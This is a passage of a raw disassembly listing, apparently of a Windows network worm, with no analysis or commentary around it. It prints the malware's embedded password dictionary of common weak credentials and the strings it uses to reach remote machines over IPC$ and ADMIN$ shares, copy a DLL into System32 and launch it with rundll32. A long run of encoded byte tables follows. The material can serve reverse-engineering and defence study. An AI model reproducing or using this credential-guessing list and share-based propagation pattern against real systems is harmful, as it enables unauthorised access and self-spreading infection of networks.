align 4
a555 db '555',0 ; DATA XREF: .text:009B935Co
a55 db '55',0 ; DATA XREF: .text:009B9358o
align 10h
a5: ; DATA XREF: .text:009B9354o
unicode 0, <5>,0
a44444444 db '44444444',0 ; DATA XREF: .text:009B9350o
align 10h
a4444444 db '4444444',0 ; DATA XREF: .text:009B934Co
a444444 db '444444',0 ; DATA XREF: .text:009B9348o
align 10h
a44444 db '44444',0 ; DATA XREF: .text:009B9344o
align 4
a4444 db '4444',0 ; DATA XREF: .text:009B9340o
align 10h
a444 db '444',0 ; DATA XREF: .text:009B933Co
a44 db '44',0 ; DATA XREF: .text:009B9338o
align 4
a4: ; DATA XREF: .text:009B9334o
unicode 0, <4>,0
a33333333 db '33333333',0 ; DATA XREF: .text:009B9330o
align 4
a3333333 db '3333333',0 ; DATA XREF: .text:009B932Co
a333333 db '333333',0 ; DATA XREF: .text:009B9328o
align 4
a33333 db '33333',0 ; DATA XREF: .text:009B9324o
align 10h
a3333 db '3333',0 ; DATA XREF: .text:009B9320o
align 4
a333 db '333',0 ; DATA XREF: .text:009B931Co
a33 db '33',0 ; DATA XREF: .text:009B9318o
align 10h
a3: ; DATA XREF: .text:009B9314o
unicode 0, <3>,0
a22222222 db '22222222',0 ; DATA XREF: .text:009B9310o
align 10h
a2222222 db '2222222',0 ; DATA XREF: .text:009B930Co
a222222 db '222222',0 ; DATA XREF: .text:009B9308o
align 10h
a22222 db '22222',0 ; DATA XREF: .text:009B9304o
align 4
a2222 db '2222',0 ; DATA XREF: .text:009B9300o
align 10h
a222 db '222',0 ; DATA XREF: .text:009B92FCo
a22 db '22',0 ; DATA XREF: .text:009B92F8o
align 4
a2_0: ; DATA XREF: .text:009B92F4o
unicode 0, <2>,0
a11111111 db '11111111',0 ; DATA XREF: .text:009B92F0o
align 4
a1111111 db '1111111',0 ; DATA XREF: .text:009B92ECo
a111111 db '111111',0 ; DATA XREF: .text:009B92E8o
align 4
a11111 db '11111',0 ; DATA XREF: .text:009B92E4o
align 10h
a1111 db '1111',0 ; DATA XREF: .text:009B92E0o
align 4
a111 db '111',0 ; DATA XREF: .text:009B92DCo
a11 db '11',0 ; DATA XREF: .text:009B92D8o
align 10h
a1: ; DATA XREF: sub_9B542A+8Fo
; .text:009B92D4o
unicode 0, <1>,0
a00000000 db '00000000',0 ; DATA XREF: .text:009B92D0o
align 10h
a0000000 db '0000000',0 ; DATA XREF: .text:009B92CCo
a00000 db '00000',0 ; DATA XREF: .text:009B92C4o
; .text:009B92C8o
align 10h
a0000 db '0000',0 ; DATA XREF: .text:009B92C0o
align 4
a000 db '000',0 ; DATA XREF: .text:009B92BCo
a00 db '00',0 ; DATA XREF: .text:009B92B8o
align 10h
a0987654321 db '0987654321',0 ; DATA XREF: .text:009B92B0o
align 4
a987654321 db '987654321',0 ; DATA XREF: .text:009B92ACo
align 4
a87654321 db '87654321',0 ; DATA XREF: .text:009B92A8o
align 4
a7654321 db '7654321',0 ; DATA XREF: .text:009B92A4o
a654321 db '654321',0 ; DATA XREF: .text:009B92A0o
align 4
a54321 db '54321',0 ; DATA XREF: .text:009B929Co
align 4
a4321 db '4321',0 ; DATA XREF: .text:009B9298o
align 4
a321 db '321',0 ; DATA XREF: .text:009B9294o
a21 db '21',0 ; DATA XREF: .text:009B9290o
align 4
a12 db '12',0 ; DATA XREF: .text:009B928Co
align 10h
aFuck db 'fuck',0 ; DATA XREF: .text:009B9288o
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .text:009B9284o
align 10h
aZzzz db 'zzzz',0 ; DATA XREF: .text:009B9280o
align 4
aZzz db 'zzz',0 ; DATA XREF: .text:009B927Co
aXxxxx db 'xxxxx',0 ; DATA XREF: .text:009B9278o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .text:009B9274o
align 4
aXxx db 'xxx',0 ; DATA XREF: .text:009B9270o
aQqqqq db 'qqqqq',0 ; DATA XREF: .text:009B926Co
align 4
aQqqq db 'qqqq',0 ; DATA XREF: .text:009B9268o
align 10h
aQqq db 'qqq',0 ; DATA XREF: .text:009B9264o
aAaaaa db 'aaaaa',0 ; DATA XREF: .text:009B9260o
align 4
aAaaa db 'aaaa',0 ; DATA XREF: .text:009B925Co
align 4
aAaa_0 db 'aaa',0 ; DATA XREF: .text:009B9258o
aSql db 'sql',0 ; DATA XREF: .text:009B9254o
aFile db 'file',0 ; DATA XREF: .text:009B9250o
align 4
aWeb db 'web',0 ; DATA XREF: .text:009B924Co
aFoo db 'foo',0 ; DATA XREF: .text:009B9248o
aJob db 'job',0 ; DATA XREF: .text:009B9244o
aHome db 'home',0 ; DATA XREF: .text:009B9240o
align 4
aWork db 'work',0 ; DATA XREF: .text:009B923Co
align 10h
aIntranet db 'intranet',0 ; DATA XREF: .text:009B9238o
align 4
aController db 'controller',0 ; DATA XREF: .text:009B9234o
align 4
aKiller db 'killer',0 ; DATA XREF: .text:009B9230o
align 10h
aGames db 'games',0 ; DATA XREF: .text:009B922Co
align 4
aPrivate db 'private',0 ; DATA XREF: .text:009B9228o
aMarket db 'market',0 ; DATA XREF: .text:009B9224o
align 4
aCoffee db 'coffee',0 ; DATA XREF: .text:009B9220o
align 10h
aCookie db 'cookie',0 ; DATA XREF: .text:009B921Co
align 4
aForever db 'forever',0 ; DATA XREF: .text:009B9218o
aFreedom db 'freedom',0 ; DATA XREF: .text:009B9214o
aStudent db 'student',0 ; DATA XREF: .text:009B9210o
aAccount db 'account',0 ; DATA XREF: .text:009B920Co
aAcademia db 'academia',0 ; DATA XREF: .text:009B9208o
align 4
aFiles db 'files',0 ; DATA XREF: .text:009B9204o
align 4
aWindows db 'windows',0 ; DATA XREF: .text:009B9200o
aMonitor db 'monitor',0 ; DATA XREF: .text:009B91FCo
aUnknown db 'unknown',0 ; DATA XREF: .text:009B91F8o
aAnything db 'anything',0 ; DATA XREF: .text:009B91F4o
align 10h
aLetitbe db 'letitbe',0 ; DATA XREF: .text:009B91F0o
aLetmein db 'letmein',0 ; DATA XREF: .text:009B91ECo
aDomain db 'domain',0 ; DATA XREF: .text:009B91E8o
align 4
aAccess db 'access',0 ; DATA XREF: .text:009B91E4o
align 10h
aMoney db 'money',0 ; DATA XREF: .text:009B91E0o
align 4
aCampus db 'campus',0 ; DATA XREF: .text:009B91DCo
align 10h
aExplorer db 'explorer',0 ; DATA XREF: .text:009B91D8o
align 4
aExchange db 'exchange',0 ; DATA XREF: .text:009B91D4o
align 4
aCustomer db 'customer',0 ; DATA XREF: .text:009B91D0o
align 4
aCluster db 'cluster',0 ; DATA XREF: .text:009B91CCo
aNobody db 'nobody',0 ; DATA XREF: .text:009B91C8o
align 4
aCodeword db 'codeword',0 ; DATA XREF: .text:009B91C4o
align 10h
aCodename db 'codename',0 ; DATA XREF: .text:009B91C0o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .text:009B91BCo
align 4
aDesktop db 'desktop',0 ; DATA XREF: .text:009B91B8o
aSecurity db 'security',0 ; DATA XREF: .text:009B91B4o
align 4
aSecure db 'secure',0 ; DATA XREF: .text:009B91B0o
align 4
aPublic db 'public',0 ; DATA XREF: .text:009B91ACo
align 4
aSystem db 'system',0 ; DATA XREF: .text:009B91A8o
align 4
aShadow db 'shadow',0 ; DATA XREF: .text:009B91A4o
align 4
aOffice db 'office',0 ; DATA XREF: .text:009B91A0o
align 4
aSupervisor db 'supervisor',0 ; DATA XREF: .text:009B919Co
align 10h
aSuperuser db 'superuser',0 ; DATA XREF: .text:009B9198o
align 4
aShare db 'share',0 ; DATA XREF: .text:009B9194o
align 4
aSuper db 'super',0 ; DATA XREF: .text:009B9190o
align 4
aSecret db 'secret',0 ; DATA XREF: .text:009B918Co
align 4
aServer db 'server',0 ; DATA XREF: .text:009B9188o
align 4
aComputer db 'computer',0 ; DATA XREF: .text:009B9184o
align 4
aOwner db 'owner',0 ; DATA XREF: .text:009B9180o
align 10h
aBackup db 'backup',0 ; DATA XREF: .text:009B917Co
align 4
aDatabase db 'database',0 ; DATA XREF: .text:009B9178o
align 4
aLotus db 'lotus',0 ; DATA XREF: .text:009B9174o
align 4
aOracle db 'oracle',0 ; DATA XREF: .text:009B9170o
align 4
aBusiness db 'business',0 ; DATA XREF: .text:009B916Co
align 10h
aManager db 'manager',0 ; DATA XREF: .text:009B9168o
aTemporary db 'temporary',0 ; DATA XREF: .text:009B9164o
align 4
aIhavenopass db 'ihavenopass',0 ; DATA XREF: .text:009B9160o
aNothing db 'nothing',0 ; DATA XREF: .text:009B915Co
aNopassword db 'nopassword',0 ; DATA XREF: .text:009B9158o
align 4
aNopass db 'nopass',0 ; DATA XREF: .text:009B9154o
align 4
aInternet db 'Internet',0 ; DATA XREF: .text:009B9150o
align 4
aInternet_0 db 'internet',0 ; DATA XREF: .text:009B914Co
align 4
aExample db 'example',0 ; DATA XREF: .text:009B9148o
aSample db 'sample',0 ; DATA XREF: .text:009B9144o
align 4
aLove123 db 'love123',0 ; DATA XREF: .text:009B9140o
aBoss123 db 'boss123',0 ; DATA XREF: .text:009B913Co
aWork123 db 'work123',0 ; DATA XREF: .text:009B9138o
aHome123 db 'home123',0 ; DATA XREF: .text:009B9134o
aMypc123 db 'mypc123',0 ; DATA XREF: .text:009B9130o
aTemp123 db 'temp123',0 ; DATA XREF: .text:009B912Co
aTest123 db 'test123',0 ; DATA XREF: .text:009B9128o
aQwe123 db 'qwe123',0 ; DATA XREF: .text:009B9124o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .text:009B9120o
align 4
aPw123 db 'pw123',0 ; DATA XREF: .text:009B911Co
align 4
aRoot123 db 'root123',0 ; DATA XREF: .text:009B9118o
aPass123 db 'pass123',0 ; DATA XREF: .text:009B9114o
aPass12 db 'pass12',0 ; DATA XREF: .text:009B9110o
align 4
aPass1 db 'pass1',0 ; DATA XREF: .text:009B910Co
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .text:009B9108o
align 10h
aAdmin12 db 'admin12',0 ; DATA XREF: .text:009B9104o
aAdmin1 db 'admin1',0 ; DATA XREF: .text:009B9100o
align 10h
aPassword123 db 'password123',0 ; DATA XREF: .text:009B90FCo
aPassword12 db 'password12',0 ; DATA XREF: .text:009B90F8o
align 4
aPassword1 db 'password1',0 ; DATA XREF: .text:009B90F4o
align 4
aDefault db 'default',0 ; DATA XREF: .text:009B90F0o
aFoobar db 'foobar',0 ; DATA XREF: .text:009B90ECo
align 4
aFoofoo db 'foofoo',0 ; DATA XREF: .text:009B90E8o
align 4
aTemptemp db 'temptemp',0 ; DATA XREF: .text:009B90E4o
align 4
aTemp db 'temp',0 ; DATA XREF: .text:009B90E0o
align 10h
aTesttest db 'testtest',0 ; DATA XREF: .text:009B90DCo
align 4
aTest db 'test',0 ; DATA XREF: .text:009B90D8o
align 4
aRootroot db 'rootroot',0 ; DATA XREF: .text:009B90D4o
align 10h
aRoot db 'root',0 ; DATA XREF: .text:009B90D0o
align 4
aAdminadmin db 'adminadmin',0 ; DATA XREF: .text:009B90CCo
align 4
aMypassword db 'mypassword',0 ; DATA XREF: .text:009B90C8o
align 10h
aMypass db 'mypass',0 ; DATA XREF: .text:009B90C4o
align 4
aPass db 'pass',0 ; DATA XREF: .text:009B90C0o
align 10h
aLogin db 'Login',0 ; DATA XREF: .text:009B90BCo
align 4
aLogin_0 db 'login',0 ; DATA XREF: .text:009B90B8o
align 10h
aPassword db 'Password',0 ; DATA XREF: .text:009B90B4o
align 4
aPassword_0 db 'password',0 ; DATA XREF: .text:009B90B0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .text:009B90ACo
align 10h
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .text:009B90A8o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: .text:009B90A4o
align 10h
aZxccxz db 'zxccxz',0 ; DATA XREF: .text:009B90A0o
align 4
aZxcxz db 'zxcxz',0 ; DATA XREF: .text:009B909Co
align 10h
aQazwsxedc db 'qazwsxedc',0 ; DATA XREF: .text:009B9098o
align 4
aQazwsx db 'qazwsx',0 ; DATA XREF: .text:009B9094o
align 4
aQ1w2e3 db 'q1w2e3',0 ; DATA XREF: .text:009B9090o
align 4
aQweasdzxc db 'qweasdzxc',0 ; DATA XREF: .text:009B908Co
align 4
aAsdfgh db 'asdfgh',0 ; DATA XREF: .text:009B9088o
align 10h
aAsdzxc db 'asdzxc',0 ; DATA XREF: .text:009B9084o
align 4
aAsddsa db 'asddsa',0 ; DATA XREF: .text:009B9080o
align 10h
aAsdsa db 'asdsa',0 ; DATA XREF: .text:009B907Co
align 4
aQweasd db 'qweasd',0 ; DATA XREF: .text:009B9078o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: .text:009B9074o
align 4
aQweewq db 'qweewq',0 ; DATA XREF: .text:009B9070o
align 10h
aQwewq db 'qwewq',0 ; DATA XREF: .text:009B906Co
align 4
aNimda db 'nimda',0 ; DATA XREF: .text:009B9068o
align 10h
aAdministrator db 'administrator',0 ; DATA XREF: .text:009B9064o
align 10h
aAdmin db 'Admin',0 ; DATA XREF: .text:009B9060o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: .text:009B905Co
align 10h
aA1b2c3 db 'a1b2c3',0 ; DATA XREF: .text:009B9058o
align 4
a1q2w3e db '1q2w3e',0 ; DATA XREF: .text:009B9054o
align 10h
a1234qwer db '1234qwer',0 ; DATA XREF: .text:009B9050o
align 4
a1234abcd db '1234abcd',0 ; DATA XREF: .text:009B904Co
align 4
a123asd db '123asd',0 ; DATA XREF: .text:009B9048o
align 10h
a123qwe db '123qwe',0 ; DATA XREF: .text:009B9044o
align 4
a123abc db '123abc',0 ; DATA XREF: .text:009B9040o
align 10h
a123321 db '123321',0 ; DATA XREF: .text:009B903Co
align 4
a12321 db '12321',0 ; DATA XREF: .text:009B9038o
align 10h
a123123 db '123123',0 ; DATA XREF: .text:009B9034o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .text:009B9030o
align 4
a123456789 db '123456789',0 ; DATA XREF: .text:009B902Co
align 10h
a12345678 db '12345678',0 ; DATA XREF: .text:009B9028o
align 4
a1234567 db '1234567',0 ; DATA XREF: .text:009B9024o
a123456 db '123456',0 ; DATA XREF: .text:009B9020o
align 4
a12345 db '12345',0 ; DATA XREF: .text:009B901Co
align 4
a1234 db '1234',0 ; DATA XREF: .text:009B9018o
align 4
a123 db '123',0 ; DATA XREF: .text:009B9014o
; wchar_t aSIpc
aSIpc: ; DATA XREF: sub_9A827D+12o
; sub_9A82BC+13o
unicode 0, <\\%s\IPC$>,0
; wchar_t Str
Str dw 0 ; DATA XREF: sub_9A82BC+54o
; sub_9AD062+1F4o
align 4
; wchar_t aS
aS: ; DATA XREF: sub_9A8326+249o
unicode 0, <\\%s>,0
align 4
; wchar_t aRundll32_exeSS
aRundll32_exeSS: ; DATA XREF: sub_9A8326+230o
unicode 0, <rundll32.exe %s,%s>,0
align 4
; wchar_t aSAdminSystem32
aSAdminSystem32: ; DATA XREF: sub_9A8326+102o
; sub_9A8326+118o
unicode 0, <\\%s\ADMIN$\System32\%s>,0
; wchar_t aDll
aDll: ; DATA XREF: sub_9A8326+C2o
; sub_9A8326+E7o
unicode 0, <dll>,0
; wchar_t a_
a_: ; DATA XREF: sub_9A8326+8Fo
unicode 0, <.>,0
dword_9A2F88 dd 0C08956A1h, 11D11CD3h, 8000C5B1h, 0E27C15Fh ; DATA XREF: sub_9A8A72+8Do
dword_9A2F98 dd 20404h, 0 ; DATA XREF: sub_9A8A72+3Eo
dd 0C0h, 46000000h
; IID rclsid
rclsid dd 5C63C1ADh ; Data1 ; DATA XREF: sub_9A8C1B+49o
dw 3956h ; Data2
dw 4FF8h ; Data3
db 84h, 86h, 40h, 3, 47h, 58h, 31h, 5Bh; Data4
; IID riid
riid dd 0C08956B7h ; Data1 ; DATA XREF: sub_9A8C1B+41o
dw 1CD3h ; Data2
dw 11D1h ; Data3
db 0B1h, 0C5h, 0, 80h, 5Fh, 0C1h, 27h, 0Eh; Data4
stru_9A2FC8 _msEH <0FFFFFFFFh, offset loc_9A8C8D, offset loc_9A8C91>
; DATA XREF: sub_9A8C1B+2o
align 8
dword_9A2FD8 dd 510CDD60h ; DATA XREF: sub_9A8DB4:loc_9A8DD1r
dword_9A2FDC dd 510CDD7Fh ; DATA XREF: sub_9A8DB4+25r
db 0
db 68h, 0C7h, 5Bh
; ---------------------------------------------------------------------------
jmp fword ptr [eax-39h]
; ---------------------------------------------------------------------------
db 5Bh
db 0
db 0D1h, 58h, 0C0h
db 0FFh
db 0D1h, 58h, 0C0h
db 0
db 58h, 0F2h, 0CFh
db 0FFh
db 58h, 0F2h, 0CFh
db 0C0h ; À
db 2Bh, 2Ah, 0Ch
db 0C7h ; Ç
db 2Bh, 2Ah, 0Ch
db 0
db 0B5h, 84h, 43h
db 0FFh
db 0B5h, 84h, 43h
db 0
db 34h, 77h, 42h
db 0FFh
db 34h, 77h, 42h
db 0
db 0C4h, 17h, 0D0h
db 7Fh ;
db 0C4h, 17h, 0D0h
db 0
align 2
dw 8DCAh
db 0FFh
db 0FFh, 0CAh, 8Dh
db 0
align 2
dw 8277h
db 0FFh
db 0FFh, 77h, 82h
db 0
align 2
dw 8A2Ah
db 0FFh
; ---------------------------------------------------------------------------
jmp fword ptr [edx]
; ---------------------------------------------------------------------------
db 8Ah
db 0
align 2
dw 82C8h
db 0FFh
db 0FFh, 0C8h, 82h
db 0
align 2
dw 9B23h
db 0FFh
; ---------------------------------------------------------------------------
jmp dword ptr [ebx]
; ---------------------------------------------------------------------------
db 9Bh
db 0
db 0A7h, 0A6h, 0CDh
; ---------------------------------------------------------------------------
jmp dword ptr [edi+3900CDA6h]
; ---------------------------------------------------------------------------
dw 0D0D4h
db 0FFh
db 39h, 0D4h, 0D0h
db 0
db 98h, 0D4h, 0D0h
db 0FFh
db 9Bh, 0D4h, 0D0h
db 0
db 40h, 0F2h, 0D0h
db 0FFh
db 41h, 0F2h, 0D0h
db 0
db 85h, 0F3h, 0D0h
db 1Fh
db 85h, 0F3h, 0D0h
db 80h ; €
db 0E7h, 0F5h, 0D0h
db 9Fh ; Ÿ
db 0E7h, 0F5h, 0D0h
aPAPASp?Sp? db 'ÀØAßØAÀ™p?Ï™p?',0
db 0DAh, 7Dh, 3Fh
db 0FFh
db 0DAh, 7Dh, 3Fh
db 80h ; €
db 3Dh, 0D2h, 41h
db 0BFh ; ¿
db 3Dh, 0D2h, 41h
db 40h ; @
db 2Dh, 0CEh, 41h
db 7Fh ;
db 2Dh, 0CEh, 41h
db 0
db 0Eh, 0F6h, 41h
db 0FFh
db 0Eh, 0F6h, 41h
db 0
; ---------------------------------------------------------------------------
sub [esi+3Fh], dh
jmp fword ptr [ecx]
; ---------------------------------------------------------------------------
dw 3F76h
db 0
db 34h, 76h, 3Fh
db 0FFh
db 37h, 76h, 3Fh
db 0C8h ; È
db 0A5h, 0C8h, 41h
db 0CFh ; Ï
db 0A5h, 0C8h, 41h
db 0D0h ; Ð
db 98h, 0FDh, 0D0h
db 0DFh ; ß
db 98h, 0FDh, 0D0h
db 58h ; X
db 0D8h, 0FFh, 0D0h
db 5Fh ; _
db 0D8h, 0FFh, 0D0h
db 80h ; €
db 0Eh, 0BCh, 0CEh
db 0BFh ; ¿
db 0Eh, 0BCh, 0CEh
db 0C0h ; À
db 0Eh, 0BCh, 0CEh
db 0FFh
db 0Eh, 0BCh, 0CEh
db 60h ; `
db 0F6h, 0D8h, 41h
db 67h ; g
db 0F6h, 0D8h, 41h
db 80h ; €
db 53h ; S
db 11h
db 0CCh ; Ì
db 0BFh ; ¿
db 53h ; S
db 11h
db 0CCh ; Ì
db 0
db 0B6h ; ¶
db 0E8h ; è
db 0D0h ; Ð
db 0FFh
db 0B6h ; ¶
db 0E8h ; è
db 0D0h ; Ð
db 80h ; €
db 57h ; W
db 0E8h ; è
db 0D0h ; Ð
db 0FFh
db 57h ; W
db 0E8h ; è
db 0D0h ; Ð
db 58h ; X
db 7
db 20h
db 48h ; H
db 5Fh ; _
db 7, 20h, 48h
db 0D8h ; Ø
db 0BEh, 0E1h, 45h
db 0DFh ; ß
db 0BEh, 0E1h, 45h
db 60h ; `
db 17h, 0E6h, 45h
db 67h ; g
db 17h, 0E6h, 45h
db 60h ; `
db 17h, 76h, 0CCh
db 7Fh ;
db 17h, 76h, 0CCh
db 0
db 0D4h, 0C8h, 41h
db 0FFh
db 0D4h, 0C8h, 41h
db 0
db 91h, 62h, 0C1h
db 0FFh
db 91h, 62h, 0C1h
db 10h
db 8Ah, 17h, 0D4h
db 1Fh
db 8Ah, 17h, 0D4h
db 48h ; H
align 2
dw 50EFh
db 4Fh ; O
align 2
dw 50EFh
db 0E8h ; è
db 38h, 0, 0D5h
db 0EFh ; ï
db 38h, 0, 0D5h
db 90h
db 6Bh, 0, 0D5h
db 97h ; —
db 6Bh, 0, 0D5h
db 0C0h ; À
db 2Ch, 0B5h, 0Ch
db 0C7h ; Ç
db 2Ch, 0B5h, 0Ch
db 0B0h ; °
db 1Dh, 0B8h, 0Ch
db 0BFh ; ¿
db 1Dh, 0B8h, 0Ch
db 0
db 80h, 0BBh, 0C0h
db 0FFh
db 80h, 0BBh, 0C0h
db 0
db 80h, 0BBh, 0C0h
db 0FFh
db 80h, 0BBh, 0C0h
db 0B0h ; °
db 17h, 24h, 0Ch
db 0BFh ; ¿
db 17h, 24h, 0Ch
db 0
db 26h, 98h, 0Ch
db 7Fh ;
db 26h, 98h, 0Ch
db 30h ; 0
db 0C7h, 29h, 40h
db 37h ; 7
db 0C7h, 29h, 40h
db 0
db 97h, 29h, 40h
db 0FFh
aC@si@qi@0s?sAe db '—)@è¨)@ï¨)@0è',7,'Ð?è',7,'ЀEbCŸEbC@HbC_HbC •Z?¿•Z?',0
db 50h, 61h, 43h
db 0FFh
db 51h, 61h, 43h
db 40h ; @
db 15h, 0D8h, 41h
db 7Fh ;
db 15h, 0D8h, 41h
db 90h
db 39h, 0F2h, 48h
db 97h ; —
db 39h, 0F2h, 48h
db 20h
db 68h, 58h, 44h
db 27h ; '
db 68h ; h
db 58h ; X
db 44h ; D
db 0C0h ; À
db 0F2h ; ò
db 88h ; ˆ
db 63h ; c
db 0C7h ; Ç
db 0F2h ; ò
db 88h ; ˆ
db 63h ; c
db 0D8h ; Ø
db 52h, 59h, 44h
db 0DFh ; ß
db 52h, 59h, 44h
db 0
db 1, 54h, 0D8h
db 0FFh
db 1, 54h, 0D8h
db 48h ; H
db 71h, 0DBh, 45h
db 4Fh ; O
db 71h, 0DBh, 45h
db 80h ; €
db 14h, 35h, 4Bh
db 87h ; ‡
db 14h, 35h, 4Bh
db 70h ; p
db 8Ch, 5Dh, 42h
db 77h ; w
db 8Ch, 5Dh, 42h
db 0C0h ; À
db 16h, 5Ch, 42h
db 0CFh ; Ï
db 16h, 5Ch, 42h
db 0A0h ;
db 0E8h, 41h, 3Fh
db 0AFh ; ¯
db 0E8h, 41h, 3Fh
db 90h
db 0E8h, 41h, 3Fh
db 97h ; —
db 0E8h, 41h, 3Fh
db 30h ; 0
db 3Ch, 48h, 44h
db 37h ; 7
db 3Ch, 48h, 44h
db 80h ; €
db 95h, 5Ah, 3Fh
db 9Fh ; Ÿ
db 95h, 5Ah, 3Fh
db 70h ; p
db 5Dh, 41h, 3Fh
db 7Fh ;
db 5Dh, 41h, 3Fh
db 0
db 5Eh, 41h, 3Fh
db 0Fh
aA?A?oA?A?A? db '^A?`^A?o^A?(ܼÐ/ܼÐÐ^A?ß^A?',0
db 46h, 8Fh, 0D8h
db 0FFh
db 47h, 8Fh, 0D8h
db 0B0h ; °
db 97h, 0E1h, 46h
db 0B7h ; ·
db 97h, 0E1h, 46h
db 0
align 2
dw 836Bh
db 0FFh
; ---------------------------------------------------------------------------
jmp fword ptr [ebx-7Dh]
; ---------------------------------------------------------------------------
db 0
db 5Ah, 5Ch, 0C0h
db 0FFh
db 5Ah, 5Ch, 0C0h
db 0
db 0E8h, 69h, 0C6h
db 0FFh
db 0EBh, 69h, 0C6h
db 0
db 3Ah, 0E7h, 0CCh
db 0FFh
db 3Ah, 0E7h, 0CCh
db 0
db 4Dh, 8Ch, 0CCh
db 0FFh
db 4Dh, 8Ch, 0CCh
db 0
db 50h, 8Ch, 0CCh
db 0FFh
db 53h, 8Ch, 0CCh
db 0
db 1Ch, 3Ch, 0C7h
db 0FFh
db 1Ch, 3Ch, 0C7h
db 0
db 5Ah, 67h, 0C7h
db 0FFh
db 5Bh, 67h, 0C7h
db 0
db 7Ah, 67h, 0C7h
db 0FFh
db 7Ah, 67h, 0C7h
db 0
db 65h, 4Fh, 0CCh
; ---------------------------------------------------------------------------
jmp dword ptr [ebp+4Fh]
; ---------------------------------------------------------------------------
db 0CCh
db 0
db 43h, 0EDh, 0C0h
; ---------------------------------------------------------------------------
inc dword ptr [ebx-13h]
rol byte ptr [eax], 61h
mov esi, eax
jmp dword ptr [ecx-77h]
; ---------------------------------------------------------------------------
db 0C6h
db 0
db 87h, 4Fh, 0CCh
db 0FFh
db 87h, 4Fh, 0CCh
db 0
db 0B3h, 4Fh, 0CCh
db 0FFh
db 0B3h, 4Fh, 0CCh
db 0
db 0B4h, 4Fh, 0CCh
db 0FFh
db 0B5h, 4Fh, 0CCh
db 0
db 0BCh, 4Fh, 0CCh
db 0FFh
db 0BCh, 4Fh, 0CCh
db 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dw 0CC4Fh
db 0FFh
db 0C5h, 4Fh, 0CCh
db 0
db 5Ch, 6, 0C7h
db 0FFh
db 5Eh, 6, 0C7h
db 0
db 7, 4Fh, 0CCh
db 0FFh
db 7, 4Fh, 0CCh
db 0
db 1Bh, 4Fh, 0CCh
db 0FFh
db 1Bh, 4Fh, 0CCh
db 0
; ---------------------------------------------------------------------------
dec edx
mov ah, 0C6h
dec dword ptr [ebx-4Ch]
mov byte ptr [eax], 5Fh
mov ah, 0C6h
jmp dword ptr [ecx-4Ch]
; ---------------------------------------------------------------------------
db 0C6h
db 0
db 0ECh, 0E7h, 0CCh
db 0FFh
db 0ECh, 0E7h, 0CCh
db 0
db 0Ah, 0F8h, 0CDh
db 0FFh
db 0Fh, 0F8h, 0CDh
db 0
db 3Fh, 0A3h, 0CDh
db 0FFh
db 3Fh, 0A3h, 0CDh
db 0
db 3Eh, 0A3h, 0CDh
db 0FFh
db 3Eh, 0A3h, 0CDh
db 0
align 2
dw 0CDA3h
db 0FFh
db 9Fh, 0A3h, 0CDh
db 0
db 29h, 0F8h, 0CDh
; ---------------------------------------------------------------------------
jmp fword ptr [ebx]
; ---------------------------------------------------------------------------
dw 0CDF8h
db 0
db 32h, 0F8h, 0CDh
db 0FFh
db 33h, 0F8h, 0CDh
db 0
db 3Dh, 0F8h, 0CDh
db 0FFh
db 3Fh, 0F8h, 0CDh
db 0
db 48h, 0F8h, 0CDh
db 0FFh
db 48h, 0F8h, 0CDh
db 0
db 0D4h, 0F8h, 0CDh
db 0FFh
db 0D7h, 0F8h, 0CDh
db 0
db 0E4h, 0F8h, 0CDh
; ---------------------------------------------------------------------------
jmp esp
; ---------------------------------------------------------------------------
dw 0CDF8h
db 0
db 0EBh, 0F8h, 0CDh
db 0FFh
db 0EBh, 0F8h, 0CDh
db 0
db 4Ch, 0E7h, 0CCh
db 0FFh
db 4Ch, 0E7h, 0CCh
db 0
db 0C0h, 0E7h, 0CCh
db 0FFh
db 0C0h, 0E7h, 0CCh
db 0
db 0C2h ; Â
db 0E7h ; ç
db 0CCh ; Ì
db 0FFh
db 0DFh, 0E7h, 0CCh
db 0
db 50h, 4Eh, 0CFh
db 0FFh
db 50h, 4Eh, 0CFh
db 0
db 51h, 4Eh, 0CFh
db 0FFh
db 51h, 4Eh, 0CFh
db 0
db 52h, 4Eh, 0CFh
db 0FFh
db 52h, 4Eh, 0CFh
db 0
db 0F3h, 0F8h, 0CDh
db 0FFh
db 0F4h, 0F8h, 0CDh
db 0
db 3, 75h, 0CFh
db 0FFh
db 3, 75h, 0CFh
db 0
db 75h, 12h, 0CFh
db 0FFh
db 75h, 12h, 0CFh
db 0
; ---------------------------------------------------------------------------
sbb ecx, [ebx-74E40030h]
rol byte ptr [eax], 1
aad 1Ch
sar edi, 1
aad 1Ch
rol dword ptr [eax], 1
inc esp
ror edi, 1
inc dword ptr [ecx+edx*8-31h]
add [eax+5Fh], ah
int 3 ; Trap to Debugger
jmp fword ptr [edi+5Fh]
; ---------------------------------------------------------------------------
align 4
db 0C0h ; À
db 5Dh, 9Eh, 0CFh
db 0DFh ; ß
db 5Dh, 9Eh, 0CFh
db 0C0h ; À
db 7Bh, 0F0h, 0CFh
db 0DFh ; ß
db 7Bh, 0F0h, 0CFh
db 0
db 0CDh, 1Ah, 0D0h
db 0FFh
db 0CDh, 1Ah, 0D0h
db 0
db 9Dh, 0C5h, 0C0h
; ---------------------------------------------------------------------------
call fword ptr [ebp-18FF3F3Bh]
test esp, ecx
jmp edi
; ---------------------------------------------------------------------------
dw 0CC85h
db 0
db 60h, 48h, 0D8h
; ---------------------------------------------------------------------------
jmp dword ptr [ebx+48h]
; ---------------------------------------------------------------------------
db 0D8h
db 98h ; ˜
db 0A6h, 0E5h, 0CFh
db 9Fh ; Ÿ
db 0A6h, 0E5h, 0CFh
db 0
; ---------------------------------------------------------------------------
xchg eax, ebp
pop edi
int 3 ; Trap to Debugger
call dword ptr [ebp-2AB733A1h]
rcl cl, 4Fh
aad 0C0h
rol dword ptr [eax], 1
retf
; ---------------------------------------------------------------------------
dw 0CE49h
db 0FFh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0CE49h
db 0
db 76h, 49h, 0CEh
db 0FFh
db 76h, 49h, 0CEh
db 10h
